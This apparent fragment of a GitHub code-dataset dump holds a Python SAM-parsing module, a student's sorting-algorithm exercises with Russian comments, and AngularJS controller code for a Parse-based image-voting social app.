iterate over non-boundry cases.\\n for i in range(1, srt1.shape[0]-1):\\n\\n # must not match its neighbors.\\n if srt1[i-1] != srt1[i] and srt1[i+1] != srt1[i]:\\n good[i] = True\\n\\n # check the first one.\\n if srt1[0] != srt1[1]:\\n good[0] = True\\n\\n # check the last one.\\n if srt1[-1] != srt1[-2]:\\n good[-1] = True\\n\\n # return the subset slice.\\n return srt1[good]\\n\\n\\ndef _extract_names(file_name, key_size):\\n \\\"\\\"\\\" builds numpy array of name hits\\\"\\\"\\\"\\n\\n # count lines.\\n with open(file_name, \\\"rb\\\") as fin:\\n line_cnt1 = 0\\n for line in fin:\\n line_cnt1 += 1\\n\\n # allocate array.\\n id1 = np.zeros(line_cnt1, dtype=np.dtype([('name','S25'),('row',np.int)]))\\n\\n # copy data into array.\\n with open(file_name, \\\"rb\\\") as fin:\\n\\n idx = 0\\n for line1 in fin:\\n # operate.\\n if key_size == 0:\\n id1[idx]['name'] = line1.split(\\\"\\\\t\\\")[0]\\n else:\\n id1[idx]['name'] = line1.split(\\\"\\\\t\\\")[0][0:-key_size]\\n id1[idx]['row'] = idx\\n\\n # reset.\\n idx += 1\\n\\n # return the array.\\n return id1\\n\\ndef _extract_sam(output):\\n ''' extracts output form SAM'''\\n\\n # extract unique to file, save multimap annotations.\\n for line in iter(output.stdout.readline,''):\\n\\n # skip header.\\n if line[0] == '@': continue\\n\\n # split.\\n tokens = line.strip().split()\\n\\n # check for no align.\\n if tokens[2] == '*':\\n continue\\n\\n # check for MAPQ > 2:\\n if int(tokens[4]) < 2:\\n yield False, line\\n else:\\n # its good, yield it.\\n yield True, line\\n\\n\\ndef _sam_gen(map1, map2, key_size):\\n '''yields the SAM name and the line index'''\\n\\n # loop till end of file.\\n line1 = map1.readline()\\n line2 = map2.readline()\\n pos1 = 0\\n pos2 = 0\\n while line1 != '' and line2 != '':\\n\\n # process it.\\n tok1 = line1.strip().split()\\n tok2 = line2.strip().split()\\n\\n # remove to key.\\n if key_size != 0:\\n key1 = tok1[0][0:-key_size]\\n key2 = tok2[0][0:-key_size]\\n else:\\n key1 = tok1[0]\\n key2 = tok2[0]\\n\\n # yield the name and line number.\\n yield (pos1, key1), (pos2, key2)\\n\\n # update info.\\n pos1 += len(line1)\\n pos2 += len(line2)\\n line1 = map1.readline()\\n line2 = map2.readline()\\n\\ndef _pair_gen(hitlist1, hitlist2):\\n ''' does an in-order walk to find pairs '''\\n\\n # loop till each list is empty.\\n while len(hitlist1) > 0 and len(hitlist2) > 0:\\n\\n # peek for a match.\\n if hitlist1[-1][1] == hitlist2[-1][1]:\\n\\n # yield it.\\n yield hitlist1[-1], hitlist2[-1]\\n\\n # change left.\\n hitlist1.pop()\\n\\n else:\\n\\n # pop smaller.\\n if hitlist1[-1][1] < hitlist2[-1][1]:\\n hitlist1.pop()\\n else:\\n hitlist2.pop()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":7,"string":"7"}}},{"rowIdx":2978314,"cells":{"repo_name":{"kind":"string","value":"BlackCyn/IshmuratovDaniilVTIP2"},"repo_url":{"kind":"string","value":"https://github.com/BlackCyn/IshmuratovDaniilVTIP2"},"snapshot_id":{"kind":"string","value":"f7d237be831eb04edbd2aff9b4768d42de7f2cbb"},"revision_id":{"kind":"string","value":"e7cc19f8ad1290ce18e1eab959f8bc96ec794c5a"},"directory_id":{"kind":"string","value":"fb27a87d3666efc19b484a9b300f6df8b2c96527"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-01-10T09:59:35.243515","string":"2023-01-10T09:59:35.243515"},"revision_date":{"kind":"timestamp","value":"2020-11-15T05:48:46","string":"2020-11-15T05:48:46"},"committer_date":{"kind":"timestamp","value":"2020-11-15T05:48:46","string":"2020-11-15T05:48:46"},"github_id":{"kind":"number","value":312966508,"string":"312,966,508"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5271122455596924,"alphanum_fraction":0.5526931881904602,"avg_line_length":23.463302612304688,"blob_id":"ec18c590bd8cdc02b3766648520b18353a848259","content_id":"8f11df4364c75d0d8c0d3fa6d59ac03cacb53b95","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6570,"license_type":"no_license","max_line_length":100,"num_lines":218,"path":"/ВТИП2.py","repo_name":"BlackCyn/IshmuratovDaniilVTIP2","src_encoding":"UTF-8","text":"#Сортировка выборкой\r\ndef selection(numbers): \r\n # i = количеству отсортированных значений\r\n for i in range(len(numbers)):\r\n # Исходно считаем наименьшим первый элемент\r\n lowest = i\r\n # Этот цикл перебирает несортированные элементы\r\n for j in range(i + 1, len(numbers)):\r\n if numbers[j] < numbers[lowest]:\r\n lowest = j\r\n # меняем самый маленький элемент в списке на самый первый\r\n numbers[i], numbers[lowest] = numbers[lowest], numbers[i]\r\n\r\n# Проверка\r\nnumb = [4, 2, 55, 123, 22] \r\nselection(numb) \r\nprint(\"Массив, отсортированный выборкой\", numb)\r\n\r\n\r\n\r\n#Пузырьковая сортировка\r\ndef bubble(numbers): \r\n # Присваиваем переменной switch, чтобы цикл запустился хотя бы один раз\r\n switch = True\r\n while switch:\r\n switch = False\r\n for i in range(len(numbers) - 1):\r\n if numbers[i] > numbers[i + 1]:\r\n # Меняем элементы \r\n numbers[i], numbers[i + 1] = numbers[i + 1], numbers[i]\r\n # Устанавливаем switch в True для следующей итерации\r\n switch = True\r\n\r\n# Проверка\r\nnumb = [4, 2, 55, 123, 22] \r\nbubble(numb) \r\nprint(\"Массив, отсортированный методом пузырька\", numb)\r\n\r\n\r\n\r\n#Сортировка вставками\r\ndef insertion(numbers): \r\n for i in range(1, len(numbers)):\r\n item_to_insert = numbers[i]\r\n # Ссылку на индекс предыдущего элемента сохраняем\r\n j = i - 1\r\n # Элементы отсортированного сегмента перемещаем вперёд, если они больше элемента для вставки\r\n while j >= 0 and numbers[j] > item_to_insert:\r\n numbers[j + 1] = numbers[j]\r\n j -= 1\r\n # Вставляем элемент\r\n numbers[j + 1] = item_to_insert\r\n\r\n# Проверка\r\nnumb = [4, 2, 55, 123, 22] \r\ninsertion(numb) \r\nprint(\"Массив, отсортированный методом вставки\", numb)\r\n\r\n\r\n\r\n#Пирамидальная сортировка\r\ndef heapify(numbers, size, index): \r\n # Индекс наибольшего элемента считаем корневым индексом\r\n largest = index\r\n left = (2 * index) + 1\r\n right = (2 * index) + 2\r\n\r\n if left < size and numbers[left] > numbers[largest]:\r\n largest = left\r\n\r\n if right < size and numbers[right] > numbers[largest]:\r\n largest = right\r\n\r\n if largest != index:\r\n numbers[index], numbers[largest] = numbers[largest], numbers[index]\r\n heapify(numbers, size, largest)\r\n\r\ndef heap_sort(nums): \r\n n = len(nums)\r\n\r\n # Создаём Max Heap из списка\r\n for i in range(n, -1, -1):\r\n heapify(nums, n, i)\r\n\r\n # Перемещаем корень Max Heap в конец списка\r\n for i in range(n - 1, 0, -1):\r\n nums[i], nums[0] = nums[0], nums[i]\r\n heapify(nums, i, 0)\r\n\r\n# Проверка\r\nnumb = [4, 2, 55, 123, 22] \r\nheap_sort(numb) \r\nprint(\"Массива отсортированный пирамидальным методов\", numb)\r\n\r\n\r\n\r\n#Быстрая сортировка\r\ndef split(numbers, low, high): \r\n # Cредний элемент выбираем в качестве опорного\r\n\r\n pivot = numbers[(low + high) // 2]\r\n i = low - 1\r\n j = high + 1\r\n while True:\r\n i += 1\r\n while numbers[i] < pivot:\r\n i += 1\r\n\r\n j -= 1\r\n while numbers[j] > pivot:\r\n j -= 1\r\n\r\n if i >= j:\r\n return j\r\n\r\n # Если левый от опорного элемента больше чем правый, меняем их местаими\r\n numbers[i], numbers[j] = numbers[j], numbers[i]\r\n\r\ndef quick1(numbers): \r\n def quick2(items, low, high):\r\n if low < high:\r\n index = split(items, low, high)\r\n quick2(items, low, index)\r\n quick2(items, index + 1, high)\r\n\r\n quick2(numbers, 0, len(numbers) - 1)\r\n\r\n# Проверка\r\nnumb = [4, 2, 55, 123, 22] \r\nquick1(numb) \r\nprint(\"Массив, отсортированный методом быстрой сортировки\", numb) \r\n\r\n\r\n\r\n#Сортировка методом слияния\r\ndef merge(left, right): \r\n sorted = []\r\n left_index = right_index = 0\r\n\r\n left_length, right_length = len(left), len(right)\r\n\r\n for _ in range(left_length + right_length):\r\n if left_index < left_length and right_index < right_length:\r\n # Сравниваем первые элементы в начале каждого списка\r\n\r\n if left[left_index] <= right[right_index]:\r\n sorted.append(left[left_index])\r\n left_index += 1\r\n else:\r\n sorted.append(right[right_index])\r\n right_index += 1\r\n\r\n elif left_index == left_length:\r\n sorted.append(right[right_index])\r\n right_index += 1\r\n\r\n elif right_index == right_length:\r\n sorted.append(left[left_index])\r\n left_index += 1\r\n\r\n return sorted\r\n\r\ndef merge_sort(numbers): \r\n\r\n if len(numbers) <= 1:\r\n return numbers\r\n \r\n mid = len(numbers) // 2\r\n\r\n left = merge_sort(numbers[:mid])\r\n right = merge_sort(numbers[mid:])\r\n\r\n return merge(left, right)\r\n\r\n# Проверка\r\nnumb = [4, 2, 55, 123, 22] \r\nnumb = merge_sort(numb) \r\nprint(\"Массив, отсортированный методом слияния\", numb)\r\n\r\n\r\n\r\n\r\nimport math \r\ndef my_sin (x,n): \r\n x = x/180*math.pi \r\n q = x\r\n s = 0 \r\n for i in range(1, n+1):\r\n s = s+ q\r\n q = q* (-1) * (x*x) / ((2*i+1) * (2*i)) \r\n return s \r\n\r\n\r\n\r\n\r\n\r\ndef f(x):\r\n return 2.718281828459045**(1+x)\r\ndef tailor(x, eps):\r\n x = 1+x\r\n sum = 1+x\r\n term = x;\r\n n = 2;\r\n while term*term > eps*eps:\r\n term *= x/n\r\n n += 1\r\n sum += term\r\n return sum\r\n\r\na=3.0\r\nb=4.0\r\nkrok=(b-a)/10\r\n\r\nwhile a<=b: \r\n print(round(a,2), end=' ')\r\n print(round(f(a),5),end=' ')\r\n print(round(tailor(a,1e-6),5))\r\n a+=krok\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5271122455596924,\n \"alphanum_fraction\": 0.5526931881904602,\n \"avg_line_length\": 23.463302612304688,\n \"blob_id\": \"ec18c590bd8cdc02b3766648520b18353a848259\",\n \"content_id\": \"8f11df4364c75d0d8c0d3fa6d59ac03cacb53b95\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6570,\n \"license_type\": \"no_license\",\n \"max_line_length\": 100,\n \"num_lines\": 218,\n \"path\": \"/ВТИП2.py\",\n \"repo_name\": \"BlackCyn/IshmuratovDaniilVTIP2\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Сортировка выборкой\\r\\ndef selection(numbers): \\r\\n # i = количеству отсортированных значений\\r\\n for i in range(len(numbers)):\\r\\n # Исходно считаем наименьшим первый элемент\\r\\n lowest = i\\r\\n # Этот цикл перебирает несортированные элементы\\r\\n for j in range(i + 1, len(numbers)):\\r\\n if numbers[j] < numbers[lowest]:\\r\\n lowest = j\\r\\n # меняем самый маленький элемент в списке на самый первый\\r\\n numbers[i], numbers[lowest] = numbers[lowest], numbers[i]\\r\\n\\r\\n# Проверка\\r\\nnumb = [4, 2, 55, 123, 22] \\r\\nselection(numb) \\r\\nprint(\\\"Массив, отсортированный выборкой\\\", numb)\\r\\n\\r\\n\\r\\n\\r\\n#Пузырьковая сортировка\\r\\ndef bubble(numbers): \\r\\n # Присваиваем переменной switch, чтобы цикл запустился хотя бы один раз\\r\\n switch = True\\r\\n while switch:\\r\\n switch = False\\r\\n for i in range(len(numbers) - 1):\\r\\n if numbers[i] > numbers[i + 1]:\\r\\n # Меняем элементы \\r\\n numbers[i], numbers[i + 1] = numbers[i + 1], numbers[i]\\r\\n # Устанавливаем switch в True для следующей итерации\\r\\n switch = True\\r\\n\\r\\n# Проверка\\r\\nnumb = [4, 2, 55, 123, 22] \\r\\nbubble(numb) \\r\\nprint(\\\"Массив, отсортированный методом пузырька\\\", numb)\\r\\n\\r\\n\\r\\n\\r\\n#Сортировка вставками\\r\\ndef insertion(numbers): \\r\\n for i in range(1, len(numbers)):\\r\\n item_to_insert = numbers[i]\\r\\n # Ссылку на индекс предыдущего элемента сохраняем\\r\\n j = i - 1\\r\\n # Элементы отсортированного сегмента перемещаем вперёд, если они больше элемента для вставки\\r\\n while j >= 0 and numbers[j] > item_to_insert:\\r\\n numbers[j + 1] = numbers[j]\\r\\n j -= 1\\r\\n # Вставляем элемент\\r\\n numbers[j + 1] = item_to_insert\\r\\n\\r\\n# Проверка\\r\\nnumb = [4, 2, 55, 123, 22] \\r\\ninsertion(numb) \\r\\nprint(\\\"Массив, отсортированный методом вставки\\\", numb)\\r\\n\\r\\n\\r\\n\\r\\n#Пирамидальная сортировка\\r\\ndef heapify(numbers, size, index): \\r\\n # Индекс наибольшего элемента считаем корневым индексом\\r\\n largest = index\\r\\n left = (2 * index) + 1\\r\\n right = (2 * index) + 2\\r\\n\\r\\n if left < size and numbers[left] > numbers[largest]:\\r\\n largest = left\\r\\n\\r\\n if right < size and numbers[right] > numbers[largest]:\\r\\n largest = right\\r\\n\\r\\n if largest != index:\\r\\n numbers[index], numbers[largest] = numbers[largest], numbers[index]\\r\\n heapify(numbers, size, largest)\\r\\n\\r\\ndef heap_sort(nums): \\r\\n n = len(nums)\\r\\n\\r\\n # Создаём Max Heap из списка\\r\\n for i in range(n, -1, -1):\\r\\n heapify(nums, n, i)\\r\\n\\r\\n # Перемещаем корень Max Heap в конец списка\\r\\n for i in range(n - 1, 0, -1):\\r\\n nums[i], nums[0] = nums[0], nums[i]\\r\\n heapify(nums, i, 0)\\r\\n\\r\\n# Проверка\\r\\nnumb = [4, 2, 55, 123, 22] \\r\\nheap_sort(numb) \\r\\nprint(\\\"Массива отсортированный пирамидальным методов\\\", numb)\\r\\n\\r\\n\\r\\n\\r\\n#Быстрая сортировка\\r\\ndef split(numbers, low, high): \\r\\n # Cредний элемент выбираем в качестве опорного\\r\\n\\r\\n pivot = numbers[(low + high) // 2]\\r\\n i = low - 1\\r\\n j = high + 1\\r\\n while True:\\r\\n i += 1\\r\\n while numbers[i] < pivot:\\r\\n i += 1\\r\\n\\r\\n j -= 1\\r\\n while numbers[j] > pivot:\\r\\n j -= 1\\r\\n\\r\\n if i >= j:\\r\\n return j\\r\\n\\r\\n # Если левый от опорного элемента больше чем правый, меняем их местаими\\r\\n numbers[i], numbers[j] = numbers[j], numbers[i]\\r\\n\\r\\ndef quick1(numbers): \\r\\n def quick2(items, low, high):\\r\\n if low < high:\\r\\n index = split(items, low, high)\\r\\n quick2(items, low, index)\\r\\n quick2(items, index + 1, high)\\r\\n\\r\\n quick2(numbers, 0, len(numbers) - 1)\\r\\n\\r\\n# Проверка\\r\\nnumb = [4, 2, 55, 123, 22] \\r\\nquick1(numb) \\r\\nprint(\\\"Массив, отсортированный методом быстрой сортировки\\\", numb) \\r\\n\\r\\n\\r\\n\\r\\n#Сортировка методом слияния\\r\\ndef merge(left, right): \\r\\n sorted = []\\r\\n left_index = right_index = 0\\r\\n\\r\\n left_length, right_length = len(left), len(right)\\r\\n\\r\\n for _ in range(left_length + right_length):\\r\\n if left_index < left_length and right_index < right_length:\\r\\n # Сравниваем первые элементы в начале каждого списка\\r\\n\\r\\n if left[left_index] <= right[right_index]:\\r\\n sorted.append(left[left_index])\\r\\n left_index += 1\\r\\n else:\\r\\n sorted.append(right[right_index])\\r\\n right_index += 1\\r\\n\\r\\n elif left_index == left_length:\\r\\n sorted.append(right[right_index])\\r\\n right_index += 1\\r\\n\\r\\n elif right_index == right_length:\\r\\n sorted.append(left[left_index])\\r\\n left_index += 1\\r\\n\\r\\n return sorted\\r\\n\\r\\ndef merge_sort(numbers): \\r\\n\\r\\n if len(numbers) <= 1:\\r\\n return numbers\\r\\n \\r\\n mid = len(numbers) // 2\\r\\n\\r\\n left = merge_sort(numbers[:mid])\\r\\n right = merge_sort(numbers[mid:])\\r\\n\\r\\n return merge(left, right)\\r\\n\\r\\n# Проверка\\r\\nnumb = [4, 2, 55, 123, 22] \\r\\nnumb = merge_sort(numb) \\r\\nprint(\\\"Массив, отсортированный методом слияния\\\", numb)\\r\\n\\r\\n\\r\\n\\r\\n\\r\\nimport math \\r\\ndef my_sin (x,n): \\r\\n x = x/180*math.pi \\r\\n q = x\\r\\n s = 0 \\r\\n for i in range(1, n+1):\\r\\n s = s+ q\\r\\n q = q* (-1) * (x*x) / ((2*i+1) * (2*i)) \\r\\n return s \\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\ndef f(x):\\r\\n return 2.718281828459045**(1+x)\\r\\ndef tailor(x, eps):\\r\\n x = 1+x\\r\\n sum = 1+x\\r\\n term = x;\\r\\n n = 2;\\r\\n while term*term > eps*eps:\\r\\n term *= x/n\\r\\n n += 1\\r\\n sum += term\\r\\n return sum\\r\\n\\r\\na=3.0\\r\\nb=4.0\\r\\nkrok=(b-a)/10\\r\\n\\r\\nwhile a<=b: \\r\\n print(round(a,2), end=' ')\\r\\n print(round(f(a),5),end=' ')\\r\\n print(round(tailor(a,1e-6),5))\\r\\n a+=krok\\r\\n\"\n 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if(keys.indexOf(key) === -1) {\n keys.push(key);\n output.push(item);\n }\n });\n\n return output;\n };\n});\n\napp.controller('myCtrl',['$scope','$http','Model',function($scope,$http,Model) {\n\t$scope.text = \"ddd\";\n\t// $scope.Data = Data\n\tParse.initialize(\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\", \"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\");\n\t$http.get('/GetSessionToken')\n\t.then(function(response) {\n\t\t// console.log(response.data);\n\tParse.User.become(response.data)\n\t})\n\tvar current_user = Parse.User.current()\n\t$scope.Name = current_user.get(\"Ninja_name\")\n\t$scope.ProfilePicture_url = current_user.get(\"ProfilePicture\").url();\n\t\t$scope.logout = function() {\n\t\t\t// console.log(\"clicked\")\n\t\t\t\t$http({\n\t\t\t\t\tmethod: 'GET',\n\t\t\t\t\t\turl: '/logout'\n\t\t\t\t\t\t}).then(function successCallback(response) {\n\t\t\t\t\t\t}, function errorCallback(response) {\n\t\t\t\t\t\t// called asynchronously if an error occurs\n\t\t\t\t\t\t// or server returns response with an error status.\n\t\t\t\t\t});\n\t};\n\t$scope.$watch('Value',function(){\n\t\t\tModel.Value = $scope.Value\n\t},true)\n\t}])\n\napp.controller('bodyCtrl',function($scope,$http,PostService,Model,Search) {\n\tPusher.log = function(message) {\n\t\tif (window.console && window.console.log) {\n\t\t\twindow.console.log(message);\n\t\t}\n\t};\n try{\n\t var newPunches = document.getElementById('newPunches')\n\tnewPunches.style.display = 'none'\n}\ncatch(e)\n{\n\n}\n\tvar pusher = new Pusher('2f8f1cab459e648a27fd', {\n\t\tencrypted: true\n\t});\n\tvar channel = pusher.subscribe('PostChannel');\n\tchannel.bind('NewUpdate', function(data) {\n\tvar prom = PostService.GetSinglePost(data.message)\n\tprom.then(function(newPost){\n\t\t// console.log(JSON.stringify(newPost));\n\t\tArray.prototype.insert = function (index, item) {\n\t\t this.splice(index, 0, item);\n\t\t};\n\t\tvar newPunches = document.getElementById('newPunches')\n\t\tnewPunches.style.display = 'block'\n // unshift(Data[0])\n // ($scope.$$phase || $scope.$root.$$phase) ? unshift() : $scope.$apply(unshift);\n $scope.posts.unshift(newPost)\n //console.log($scope.posts);\n })\n\t})\n if(location.href.split('/').indexOf(\"share\") != -1)\n {\n var objectId = location.href.split('/')[location.href.split('/').indexOf(\"share\") + 1]\n //console.log(objectId);\n var myprom = PostService.GetSinglePost(objectId)\n myprom.then(function(Data){\n // console.log(JSON.stringify(Data));\n // unshift(Data[0])\n $scope.SinglePost = Data[0]\n //console.log($scope.posts);\n })\n }\n\n\tfunction detectmob() {\n\t if( navigator.userAgent.match(/Android/i)\n\t || navigator.userAgent.match(/webOS/i)\n\t || navigator.userAgent.match(/iPhone/i)\n\t || navigator.userAgent.match(/iPad/i)\n\t || navigator.userAgent.match(/iPod/i)\n\t || navigator.userAgent.match(/BlackBerry/i)\n\t || navigator.userAgent.match(/Windows Phone/i)\n\t ){\n\t return true;\n\t }\n\t else {\n\t return false;\n\t }\n\t}\n\tvar url = document.URL\n\tif(url.indexOf(\"Posts\")!=-1)\n\t{\n\t\tvar objectId = url.split('/')[2];\n\t\tvar SinglePostPromise = PostService.GetSinglePost(\"8pzy70zCXr\")\n\t\tSinglePostPromise.then(function(Data){\n\t\t\t$scope.SinglePost = Data[0]\n\t\t})\n\t}\n\t$scope.Enter = function(isChecked){\n\t\tif(isChecked)\n\t\t{\n\t\t\t$scope.PostComment();\n\t\t}\n\t}\n\tif(detectmob())\n\t{\n\t\t$scope.width = \"100%\";\n\t}\n\telse {\n\t\t$scope.width=\"70%\"\n\t}\n\n\t$scope.posts = new Array()\n\t$scope.PostsVisibility = true\n\t$scope.$watch(function(){return Model.Value},function(){\n\t\tif(Model.Value != null && Model.Value!='undefined'){\n\t\tvar SearchPromise = Search.SearchAccordingToKeyWord(Model.Value)\n\t\tSearchPromise.then(function(SearchResults){\n\t\t\t$scope.posts = SearchResults\n\t\t})\n\t}\n\telse {\n\t\t$scope.Posts = $scope.backup\n\t}\n\t},true)\n\ttry {\n\t\tvar spinner = document.getElementById('spinner')\n\t\tspinner.style.display = 'block'\n\t\tvar LoadMore = document.getElementById('LoadMore')\n\t\tLoadMore.style.display = 'none'\n\n\t} catch (e) {\n\n\t} finally {\n\n\t}\nvar promise = PostService.GetPosts([])\npromise.then(\nfunction(Data){\n\t$scope.posts = Data\n\t$scope.backup = $scope.posts\n\t$scope.PostsVisibility = false;\n\t\t\ttry {\n\t\t\t\tvar spinner = document.getElementById('spinner')\n\t\t\t\tspinner.style.display = 'none'\n\t\t\t\t\t\t\t\t\t // LoadMore\n\t\t\t\tvar LoadMore = document.getElementById('LoadMore')\n\t\t\t\tLoadMore.style.display = 'block'\n\t\t\t} catch (e) {\n\t\t\t\t// console.log(e);\n\t\t\t} finally {\n\n\t\t\t}\t\t\t //spinner\n},function(reason){\n //console.log(reason);\n},function (update) {\n //console.log(\"Update\");\n $scope.posts = update\n});\n\n\t$scope.openComment = function(index) {\n\t\t// console.log(\"df\");\n\t\t$('#modal1').openModal();\n\t\tGetComments($scope.posts[index].id)\n\n\t}\n\t$scope.LoadMore = function () {\n\t\t// console.log(\"clicked\");\n\t\t//spinner\n\t\tvar spinner = document.getElementById('spinner')\n\t\tspinner.style.display = 'block'\n\t\t// LoadMore\n\t\tvar LoadMore = document.getElementById('LoadMore')\n\t\tLoadMore.style.display = 'none'\n\t\tvar promise = PostService.GetPosts($scope.posts)\n\t\tpromise.then(function(Data){\n\t\t\t// console.log(Data)\n\t\t LoadMore = document.getElementById('LoadMore')\n\t\t\tLoadMore.style.display = 'block'\n\t\t\tspinner.style.display = \"none\"\n\t\t})\n\t}\n\t$scope.Punch = function(index,which){\n\t\t\tvar current_user = Parse.User.current()\n\t\t\tvar objectId = $scope.posts[index].id;\n\n\t\t\t\t\tParse.Cloud.run(\"TapTap\", {which:which,userObjID:current_user.id,objectId:objectId},{\n\t\t\t\t\t\tsuccess:function(response) {\n\t\t\t\t\t\t\t// console.log(JSON.stringify(response));\n if(which==1)\n {\n response.set('isVoted1',\"block\")\n response.set(\"isVoted2\",\"none\")\n }else {\n response.set('isVoted2',\"block\")\n response.set(\"isVoted1\",\"none\")\n }\n\n\t\t\t\t\t\t\t$scope.posts[index] = response\n\t\t\t\t\t\t\t$scope.$apply()\n\t\t\t\t\t\t},\n\t\t\t\t\t\terror : function(error) {\n\t\t\t\t\t\t\t// console.log(error);\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t}\n\n$scope.PostComment=function(){\n\tvar objectId = $scope.objectId\n\tvar CommentObj = Parse.Object.extend(\"Comment\")\n\tvar Comment = new CommentObj();\n\tvar Post = {\n\t__type: 'Pointer',\n\tclassName: 'Posts',\n\tobjectId: objectId\n\t}\n\tComment.set(\"User\",Parse.User.current())\n\tComment.set(\"Post\",Post)\n\tComment.set(\"comment\",$scope.cc)\n\tif($scope.cc != null && $scope.cc !=\"undefined\")\n\t{\n\tComment.save()\n\t$scope.comments.push(Comment)\n\t$scope.cc = null\n\t// $scope.$apply();\n\tMaterialize.toast('Comment Added successfully', 4000)\n\t}\n\telse {\n\t\tMaterialize.toast('Comment cannot be null', 4000)\n\t}\n}\n\nfunction GetComments(objectId)\n{\n\t\t\t$scope.objectId = objectId\n\t\t\tvar Comment = Parse.Object.extend(\"Comment\")\n\t\t\tvar CommentQuery = new Parse.Query(Comment);\n\t\t\tvar Post = {\n\t\t\t__type: 'Pointer',\n\t\t\tclassName: 'Posts',\n\t\t\tobjectId: objectId\n\t\t\t}\n\t\t\tCommentQuery.equalTo(\"Post\",Post)\n\t\t\tCommentQuery.find({\n\t\t\t\tsuccess : function (Comments) {\n\t\t\t\t\t\tfor(var i=0;i<Comments.length;i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar User = Comments[i].get(\"User\",Parse.User.current())\n\t\t\t\t\t\t\tUser.fetch()\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(Comments.length == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$scope.youFirst = true\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$scope.youFirst = false\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$scope.comments = Comments\n\t\t\t\t\t\t$scope.$apply()\n\t\t\t\t},\n\t\t\t\terror : function (error) {\n\t\t\t\t\t// console.log(error);\n\t\t\t\t}\n\t\t\t})\n}\n\nfunction detectmob() {\n if( navigator.userAgent.match(/Android/i)\n || navigator.userAgent.match(/webOS/i)\n || navigator.userAgent.match(/iPhone/i)\n || navigator.userAgent.match(/iPad/i)\n || navigator.userAgent.match(/iPod/i)\n || navigator.userAgent.match(/BlackBerry/i)\n || navigator.userAgent.match(/Windows Phone/i)\n ){\n return true;\n }\n else {\n return false;\n }\n}\n\n\n})\n\n\napp.controller(\"CreatePunch\",function($scope,$filter){\n $scope.validLength = 50;\n $scope.validTitleLength = 20;\n var intrestQuery = new Parse.Query('Intrestlist')\n intrestQuery.find({\n success:function(Interests){\n //console.log(Interests);\n var list = [];\n for(var i=0;i<Interests.length;i++)\n {\n list.push(Interests[i].get('IntrestText'))\n }\n $scope.Interests = list;\n }\n })\n\t$scope.punchit = function(){\n\t\t\t\tvar wait = document.getElementById(\"wait\")\n\t\t\t\tvar PunchModel = document.getElementById(\"PunchModel\")\n\n var InterestsArray = []\n var cboxes = $('.Interests');\n var len = cboxes.length;\n //console.log(cboxes);\n var InterestsArray = [];\n $.each($(\"input[class='Interests']:checked\"), function(){\n InterestsArray.push($(this).val());\n });\n\n\n\t\t\t\tvar Title = $scope.Title;\n\t\t\t\tvar Image1 = $('#Image1')[0]; //File1\n\t\t\t\tvar Image2 = $('#Image2')[0]; //File2\n\t\t\t\tvar Image1Title = $scope.Image1Title;\n\t\t\t\tvar Image2Title = $scope.Image2Title;\n\t\t\t\tParse.initialize(\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\", \"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\");\n\t\t\t\tvar current_user = Parse.User.current()\n\t\t\t\tvar Image1File,Image2File;\n\t\t\t\tvar PostObject = Parse.Object.extend('Posts')\n\t\t\t\tvar Post = new PostObject();\n\t\t\t\tvar Communites = $scope.Communites\n // console.log(InterestsArray);\n // alert(Image1.files[0].size / 1000000)\n\tif(Image1.files[0].size / 1000000 > 5 || Image2.files[0] / 1000000 > 5)\n {\n var $toastContent = $('<span>File size cannot be larger than 3 mbs</span>');\n\t\t\t\t\tMaterialize.toast($toastContent, 5000);\n }\n else if(Image1.files.length > 0 && Image2.files.length > 0 && Image1Title != null && Image2Title != null && InterestsArray.length > 0 && Title != null)\n\t\t\t\t{\n wait.style.display = \"block\"\n\t Image1File = new Parse.File(\"Image1.png\",Image1.files[0])\n\t Image2File = new Parse.File(\"Image2.png\",Image2.files[0])\n var quality = 20\n // output file format (jpg || png)\n output_format = 'jpg'\n //This function returns an Image Object\n //console.log(Image1.files[0]);\n // console.log($('#Preview1').attr('src'));\n var image = new Image();\n image.src = $('#Preview1').attr('src');\n\n var image1 = new Image();\n image1.src = $('#Preview2').attr('src');\n\n var target_img = jic.compress(image,quality,output_format).src;\n var target_img1 = jic.compress(image1,quality,output_format).src;\n console.log(target_img1);\n Image1File = new Parse.File(\"Image1\",{base64:target_img})\n Image2File = new Parse.File(\"Image2\",{base64:target_img1})\n // console.log({base64:target_img});\n\t\t\t\t\t\tPost.set(\"Title\",Title);\n\t\t\t\t\t\tPost.set(\"Image1\",Image1File);\n\t\t\t\t\t\tPost.set(\"Image2\",Image2File);\n\t\t\t\t\t\tPost.set(\"By\",current_user);\n\t\t\t\t\t\tPost.set(\"Image1Title\",Image1Title);\n\t\t\t\t\t\tPost.set(\"Image2Title\",Image2Title);\n\t\t\t\t\t\tPost.set(\"Punchers1\",new Array())\n\t\t\t\t\t\tPost.set(\"Punchers2\",new Array())\n\t\t\t\t\t\t// var InterestsArray = Communites.split(\",\");\n\t\t\t\t\t\tPost.set(\"TargetIntrests\",InterestsArray);\n\t\t\t\t\t\tPost.save(null,{\n\t\t\t\t\t\t\tsuccess : function (Post) 